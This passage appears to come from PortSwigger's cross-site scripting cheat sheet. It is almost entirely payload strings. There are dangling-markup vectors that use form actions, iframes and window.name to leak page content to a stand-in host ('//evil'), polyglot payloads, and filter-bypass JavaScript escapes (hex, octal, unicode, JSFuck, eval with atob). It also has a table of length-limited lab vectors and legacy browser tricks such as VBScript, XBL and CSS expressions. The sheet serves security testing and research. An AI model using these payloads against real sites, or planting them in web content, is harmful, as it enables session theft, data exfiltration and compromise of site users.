Button using formaction	`<form><button style="width:100%;height:100%" type=submit formaction="//evil?`
Input using formaction	`<form><input type=submit value="XSS" style="width:100%;height:100%" type=submit formaction="//evil?`
Form using action	`<button form=x style="width:100%;height:100%;"><form id=x action="//evil?`
Isindex using src attribute	`<isindex type=image src="//evil?`
Isindex using submit	`<isindex type=submit style=width:100%;height:100%; value=XSS formaction="//evil?`
Object data	`<object data="//evil?`
Iframe src	`<iframe src="//evil?`
Embed src	`<embed src="//evil?`
Use textarea to consume markup and post to external site	`<form><button formaction=//evil>XSS</button><textarea name=x>`
Pass markup data through window.name using form target	`<button form=x>XSS</button><form id=x action=//evil target='`
Pass markup data through window.name using base target	`<a href=http://subdomain1.portswigger-labs.net/dangling_markup/name.html><font size=100 color=red>You must click me</font></a><base target="`
Pass markup data through window.name using formtarget	`<form><input type=submit value="Click me" formaction=http://subdomain1.portswigger-labs.net/dangling_markup/name.html formtarget="`
Using base href to pass data	`<a href=abc style="width:100%;height:100%;position:absolute;font-size:1000px;">xss<base href="//evil/`
Using embed window name to pass data from the page	`<embed src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="`
Using iframe window name to pass data from the page	`<iframe src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="`
Using object window name to pass data from the page	`<object data=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="`
Using frame window name to pass data from the page	`<frameset><frame src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="`
Overwrite type attribute with image in hidden inputs	`<input type=hidden type=image src="//evil?`

Polyglots	
Polyglot payload 1	`javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>`
Polyglot payload 2	`javascript:"/*'/*`/*--></noscript></title></textarea></style></template>`

</noembed></script><html \
onmouseover=/*<svg/*/onload=alert()//>

WAF bypass global objects	
XSS into a JavaScript string: string concatenation (window)	`';window['ale'+'rt'](window['doc'+'ument']['dom'+'ain']);//`
XSS into a JavaScript string: string concatenation (self)	`';self['ale'+'rt'](self['doc'+'ument']['dom'+'ain']);//`
XSS into a JavaScript string: string concatenation (this)	`';this['ale'+'rt'](this['doc'+'ument']['dom'+'ain']);//`
XSS into a JavaScript string: string concatenation (top)	`';top['ale'+'rt'](top['doc'+'ument']['dom'+'ain']);//`
XSS into a JavaScript string: string concatenation (parent)	`';parent['ale'+'rt'](parent['doc'+'ument']['dom'+'ain']);//`
XSS into a JavaScript string: string concatenation (frames)	`';frames['ale'+'rt'](frames['doc'+'ument']['dom'+'ain']);//`
XSS into a JavaScript string: string concatenation (globalThis)	`';globalThis['ale'+'rt'](globalThis['doc'+'ument']['dom'+'ain']);//`
XSS into a JavaScript string: comment syntax (window)	`';window[/*foo*/'alert'/*bar*/](window[/*foo*/'document'/*bar*/]['domain']);//`
XSS into a JavaScript string: comment syntax (self)	`';self[/*foo*/'alert'/*bar*/](self[/*foo*/'document'/*bar*/]['domain']);//`
XSS into a JavaScript string: comment syntax (this)	`';this[/*foo*/'alert'/*bar*/](this[/*foo*/'document'/*bar*/]['domain']);//`
XSS into a JavaScript string: comment syntax (top)	`';top[/*foo*/'alert'/*bar*/](top[/*foo*/'document'/*bar*/]['domain']);//`
XSS into a JavaScript string: comment syntax (parent)	`';parent[/*foo*/'alert'/*bar*/](parent[/*foo*/'document'/*bar*/]['domain']);//`
XSS into a JavaScript string: comment syntax (frames)	`';frames[/*foo*/'alert'/*bar*/](frames[/*foo*/'document'/*bar*/]['domain']);//`
XSS into a JavaScript string: comment syntax (globalThis)	`';globalThis[/*foo*/'alert'/*bar*/](globalThis[/*foo*/'document'/*bar*/]['domain']);//`
XSS into a JavaScript string: hex escape sequence (window)	`';window['\x61\x6c\x65\x72\x74'](window['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//`
XSS into a JavaScript string: hex escape sequence (self)	`';self['\x61\x6c\x65\x72\x74'](self['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//`
XSS into a JavaScript string: hex escape sequence (this)	`';this['\x61\x6c\x65\x72\x74'](this['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//`
XSS into a JavaScript string: hex escape sequence (top)	`';top['\x61\x6c\x65\x72\x74'](top['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//`
XSS into a JavaScript string: hex escape sequence (parent)	`';parent['\x61\x6c\x65\x72\x74'](parent['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//`
XSS into a JavaScript string: hex escape sequence (frames)	`';frames['\x61\x6c\x65\x72\x74'](frames['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//`

XSS into a JavaScript string: hex escape sequence (globalThis)	`';globalThis['\x61\x6c\x65\x72\x74'] (globalThis['\x64\x6f\x63\x75\x6d\x65\x6e\x74'] ['\x64\x6f\x6d\x61\x69\x6e']);//`
XSS into a JavaScript string: hex escape sequence and base64 encoded string (window)	`';window['\x65\x76\x61\x6c']('window["\x61\x6c\x65\x72\x74"] (window["\x61\x74\x6f\x62"]("WFNT"))');//`
XSS into a JavaScript string: hex escape sequence and base64 encoded string (self)	`';self['\x65\x76\x61\x6c']('self["\x61\x6c\x65\x72\x74"] (self["\x61\x74\x6f\x62"]("WFNT"))');//`
XSS into a JavaScript string: hex escape sequence and base64 encoded string (this)	`';this['\x65\x76\x61\x6c']('this["\x61\x6c\x65\x72\x74"] (this["\x61\x74\x6f\x62"]("WFNT"))');//`
XSS into a JavaScript string: hex escape sequence and base64 encoded string (top)	`';top['\x65\x76\x61\x6c']('top["\x61\x6c\x65\x72\x74"] (top["\x61\x74\x6f\x62"]("WFNT"))');//`
XSS into a JavaScript string: hex escape sequence and base64 encoded string (parent)	`';parent['\x65\x76\x61\x6c']('parent["\x61\x6c\x65\x72\x74"] (parent["\x61\x74\x6f\x62"]("WFNT"))');//`
XSS into a JavaScript string: hex escape sequence and base64 encoded string (frames)	`';frames['\x65\x76\x61\x6c']('frames["\x61\x6c\x65\x72\x74"] (frames["\x61\x74\x6f\x62"]("WFNT"))');//`
XSS into a JavaScript string: hex escape sequence and base64 encoded string (globalThis)	`';globalThis['\x65\x76\x61\x6c']('globalThis["\x61\x6c\x65\x72\x74"] (globalThis["\x61\x74\x6f\x62"]("WFNT"))');//`
XSS into a JavaScript string: octal escape sequence (window)	`';window['\141\154\145\162\164']('\130\123\123');//`
XSS into a JavaScript string: octal escape sequence (self)	`';self['\141\154\145\162\164']('\130\123\123');//`
XSS into a JavaScript string: octal escape sequence (this)	`';this['\141\154\145\162\164']('\130\123\123');//`
XSS into a JavaScript string: octal escape sequence (top)	`';top['\141\154\145\162\164']('\130\123\123');//`
XSS into a JavaScript string: octal escape sequence (parent)	`';parent['\141\154\145\162\164']('\130\123\123');//`
XSS into a JavaScript string: octal escape sequence (frames)	`';frames['\141\154\145\162\164']('\130\123\123');//`
XSS into a JavaScript string: octal escape sequence (globalThis)	`';globalThis['\141\154\145\162\164']('\130\123\123');//`
XSS into a JavaScript string: unicode escape (window)	`';window['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}'] ('\u{0058}\u{0053}\u{0053}');//`
XSS into a JavaScript string: unicode escape (self)	`';self['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}'] ('\u{0058}\u{0053}\u{0053}');//`
XSS into a JavaScript string: unicode escape (this)	`';this['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}'] ('\u{0058}\u{0053}\u{0053}');//`
XSS into a JavaScript string: unicode escape (top)	`';top['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}'] ('\u{0058}\u{0053}\u{0053}');//`
XSS into a JavaScript string: unicode escape (parent)	`';parent['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}'] ('\u{0058}\u{0053}\u{0053}');//`
XSS into a JavaScript string: unicode escape (frames)	`';frames['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}'] ('\u{0058}\u{0053}\u{0053}');//`
XSS into a JavaScript string: unicode escape	`';globalThis['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']`

XSS into a JavaScript string: unicode escape (globalThis)	`('\u{0058}\u{0053}\u{0053}');//`
XSS into a JavaScript string: RegExp source property (window)	`';window[/al/.source+/ert/.source](/XSS/.source);//`
XSS into a JavaScript string: RegExp source property (self)	`';self[/al/.source+/ert/.source](/XSS/.source);//`
XSS into a JavaScript string: RegExp source property (this)	`';this[/al/.source+/ert/.source](/XSS/.source);//`
XSS into a JavaScript string: RegExp source property (top)	`';top[/al/.source+/ert/.source](/XSS/.source);//`
XSS into a JavaScript string: RegExp source property (parent)	`';parent[/al/.source+/ert/.source](/XSS/.source);//`
XSS into a JavaScript string: RegExp source property (frames)	`';frames[/al/.source+/ert/.source](/XSS/.source);//`
XSS into a JavaScript string: RegExp source property (globalThis)	`';globalThis[/al/.source+/ert/.source](/XSS/.source);//`
XSS into a JavaScript string: Hieroglyphy/JSFuck (window)	`';window[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]((+{}+[])[+!![]]);//`
XSS into a JavaScript string: Hieroglyphy/JSFuck (self)	`';self[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]((+{}+[])[+!![]]);//`
XSS into a JavaScript string: Hieroglyphy/JSFuck (this)	`';this[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]((+{}+[])[+!![]]);//`
XSS into a JavaScript string: Hieroglyphy/JSFuck (top)	`';top[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]((+{}+[])[+!![]]);//`
XSS into a JavaScript string: Hieroglyphy/JSFuck (parent)	`';parent[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]((+{}+[])[+!![]]);//`
XSS into a JavaScript string: Hieroglyphy/JSFuck (frames)	`';frames[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]((+{}+[])[+!![]]);//`
XSS into a JavaScript string: Hieroglyphy/JSFuck (globalThis)	`';globalThis[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]((+{}+[])[+!![]]);//`

Impossible labs

Title	Description	Length limit	Closest vector	Link
Basic context, WAF blocks <[a-zA-Z]	This lab captures the scenario when you can't use an open tag followed by an alphanumeric character. Sometimes you can solve this problem by bypassing the WAF entirely, but what about when that's not an option? Certain versions of .NET have this behaviour, and it's only known to be exploitable in old IE with <%tag.	N/A	N/A	🔗
Script based injection but quotes, forward slash and backslash are escaped	We often encounter this situation in the wild: you have an injection inside a JavaScript variable and can inject angle brackets, but quotes and forward/backslashes are escaped so you can't simply close the script block. The closest we've got to solving this is when you have multiple injection points. The first within a script based context and the second in HTML.	N/A	N/A	🔗
innerHTML context but no equals allowed	You have a site that processes the query string and URL decodes the parameters but splits on the equals then assigns to innerHTML. In this context <script> doesn't work and we can't use = to create an event.	N/A	N/A	🔗
Basic context length limit	This lab's injection occurs within the basic HTML context but has a length limitation of 15. Filedescriptor came up with a vector that could execute JavaScript in 16 characters: <q oncut=alert`` but can you beat it?	15	<q oncut=alert``	🔗
Attribute context length	The context of this lab inside an attribute with a length limitation of 14 characters. We came up	14	"oncut=alert``	🔗

limit	with a vector that executes JavaScript in 15 characters:"oncut=alert``+ the plus is a trailing space. Do you think you can beat it?			
Basic context length limit, arbitrary code	It's all well and good executing JavaScript but if all you can do is call alert what use is that? In this lab we demonstrate the shortest possible way to execute arbitrary code.	19	<q oncut=eval(name)	🔗
Attribute context length limit arbitrary code	Again calling alert proves you can call a function but we created another lab to find the shortest possible attribute based injection with arbitrary JavaScript.	17	See link	🔗
Injection occurs inside a frameset but before the body	We received a request from twitter about this next lab. It occurs within a frameset but before a body tag with equals filtered. You would think you could inject a closing frameset followed by a script block but that would be too easy.	N/A	N/A	🔗

Classic vectors (XSS crypt)	
Image src with JavaScript protocol	`<img src="javascript:alert(1)">`
Body background with JavaScript protocol	`<body background="javascript:alert(1)">`
Iframe data urls no longer work as modern browsers use a null origin	`<iframe src="data:text/html,<img src=1 onerror=alert(document.domain)>">`

VBScript protocol used to work in IE	`<a href="vbscript:MsgBox+1">XSS</a>`
	`<a href="#" onclick="vbs:Msgbox+1">XSS</a>`
	`<a href="#" onclick="VBS:Msgbox+1">XSS</a>`
	`<a href="#" onclick="vbscript:Msgbox+1">XSS</a>`
	`<a href="#" onclick="VBSCRIPT:Msgbox+1">XSS</a>`
	`<a href="#" language=vbs onclick="vbscript:Msgbox+1">XSS</a>`

JScript compact was a minimal version of JS that wasn't widely used in IE	`<a href="#" onclick="jscript.compact:alert(1);">test</a>` `<a href="#" onclick="JSCRIPT.COMPACT:alert(1);">test</a>`
JScript.Encode allows encoded JavaScript	`<a href=# language="JScript.Encode"` `onclick="#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@">XSS` `<a href=# onclick="JScript.Encode:#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@">XSS</a>`
VBScript.Encoded allows encoded VBScript	`<iframe onload=VBScript.Encode:#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@>` `<iframe language=VBScript.Encode onload=#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@>`
JavaScript entities used to work in Netscape Navigator	`<a title="&{alert(1)}">XSS</a>`
JavaScript stylesheets used to be supported by Netscape Navigator	`<link href="xss.js" rel=stylesheet type="text/javascript">`
Button used to consume markup	`<form><button name=x formaction=x><b>stealme`
IE9 select elements and plaintext used to consume markup	`<form action=x><button>XSS</button><select name=x><option><plaintext>` `<script>token="supersecret"</script>`

XBL Firefox only <= 2	`<div style="-moz-binding:url(//businessinfo.co.uk/labs/xbl/xbl.xml#xss)">`
	`<div style="\-\mo\z-`
	`binding:url(//businessinfo.co.uk/labs/xbl/xbl.xml#xss)">`
	`<div style="-moz-bindin\67:url(//businessinfo.co.uk/lab`
	`s/xbl/xbl.xml#xss)">`
	`<div style="-moz-bindin&#x5c;67:url(//businessinfo.co.uk/lab`
	`s/xbl/xbl.xml#xss)">`

XBL also worked in FF3.5 using data urls	`<img src="blah" style="-moz-binding: url(data:text/xml;charset=utf-`
	`8,%3C%3Fxml%20version%3D%221.0%22%3F%3E%3Cbindings%20xmlns%3D%22`
	`http%3A//www.mozilla.org/xbl%22%3E%3Cbinding%20id%3D%22loader%22%3E%3Cimple`
	`mentation%3E%3Cconstructor%3E%3C%21%5BCDATA%5Bvar%20url%20%3D%20%22alert.js`
	`%22%3B%20var%20scr%20%3D%20document.createElement%28%22script%22%29%3B%20sc`
	`r.setAttribute%28%22src%22%2Curl%29%3B%20var%20bodyElement%20%3D%20`
	`document.getElementsByTagName%28%22html%22%29.item%280%29%3B%20bodyElement.`
	`appendChild%28scr%29%3B%20%5D%5D%3E%3C/constructor%3E%3C/implementation%3E%`
	`3C/ binding%3E%3C/bindings%3E)" />`

CSS expressions <=IE7	`<div style=xss:expression(alert(1))>`
	`<div style=xss:expression(1)-alert(1)>`
	`<div style=xss:expressio\6e(alert(1))>`
	`<div style=xss:expressio\006e(alert(1))>`
	`<div style=xss:expressio\00006e(alert(1))>`
	`<div style=xss:expressio\6e(alert(1))>`
	`<div style=xss:expressio&#x5c;6e(alert(1))>`

In quirks mode IE allowed you to use = instead of :	`<div style=xss=expression(alert(1))>` `<div style="color&#x3dred">test</div>`
Behaviors for older modes of IE	`<a style="behavior:url(#default#AnchorClick);"` `folder="javascript:alert(1)">XSS</a>`

Older versions of IE supported event handlers in functions	`<script>`
	`function window.onload(){`
	`alert(1);`
	`}`
	`</script>`
	`<script>`
	`function window::onload(){`
	`alert(1);`
	`}`
	`</script>`
	`<script>`
	`function window.location(){`
	`}`
	`</script>`
	`<body>`
	`<script>`
	`function/*<img src=1 onerror=alert(1)>*/document.body.innerHTML(){}`
	`</script>`
	`</body>`
	`<body>`
	`<script>`
	`function document.body.innerHTML(){ x = "<img src=1 onerror=alert(1)>"; }`
	`</script>`
	`</body>`

GreyMagic HTML+time exploit (no longer works even in 5 docmode)	`<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">`
	`<?import namespace="t" implementation="#default#time2"><t:set`
	`attributeName="innerHTML" to="XSS<img src=1 onerror=alert(1)>"> </BODY>`
	`</HTML>`

Firefox allows NULLS after &	`<a href="javascript&#x6a;avascript:alert(1)">Firefox</a>`
Firefox allows NULLs inside named entities	`<a href="javascript&colon;alert(1)">Firefox</a>`
Firefox allows NULL characters inside opening comments	`<!-- ><img title="--><iframe/onload=alert(1)>"> -->` `<!-- ><img title="--><iframe/onload=alert(1)>"> -->`
Safari used to allow any tag to have a onload event inside SVG	`<svg><xss onload=alert(1)>`

Credits

Brought to you by PortSwigger lovingly constructed by Gareth Heyes

This cheat sheet wouldn't be possible without the web security community who share their research. Big thanks to: James Kettle, Mario Heiderich, Eduardo Vela, Masato Kinugawa, Filedescriptor, LeverOne, Ben Hayak, Alex Inführ, Mathias Karlsson, Jan Horn, Ian Hickey, Gábor Molnár, tsetnep, Psych0tr1a, Skyphire, Abdulrhman Alqabandi, brainpillow, Kyo, Yosuke Hasegawa, White Jordan, Algol, jackmasa, wpulog, Bolk, Robert Hansen, David Lindsay, Superhei, Michal Zalewski, Renaud Lifchitz, Roman Ivanov, Frederik Braun, Krzysztof Kotowicz, Giorgio Maone, GreyMagic, Marcus Niemietz, Soroush Dalili, Stefano Di Paola, Roman Shafigullin, Lewis Ardern, Michał Bentkowski, SØPAS, avanish46, Juuso Käenmäki, jinmo123, itszn13, Martin Bajanik, David Granqvist, Andrea (theMiddle) Menin, simps0n, hahwul, Paweł Hałdrzyński, Jun Kokatsu, RenwaX23, sratarun, har1sec, Yann C.

You can contribute to this cheat sheet by creating a new issue or updating the JSON and creating a pull request

PORTSWIGGER
WEB SECURITY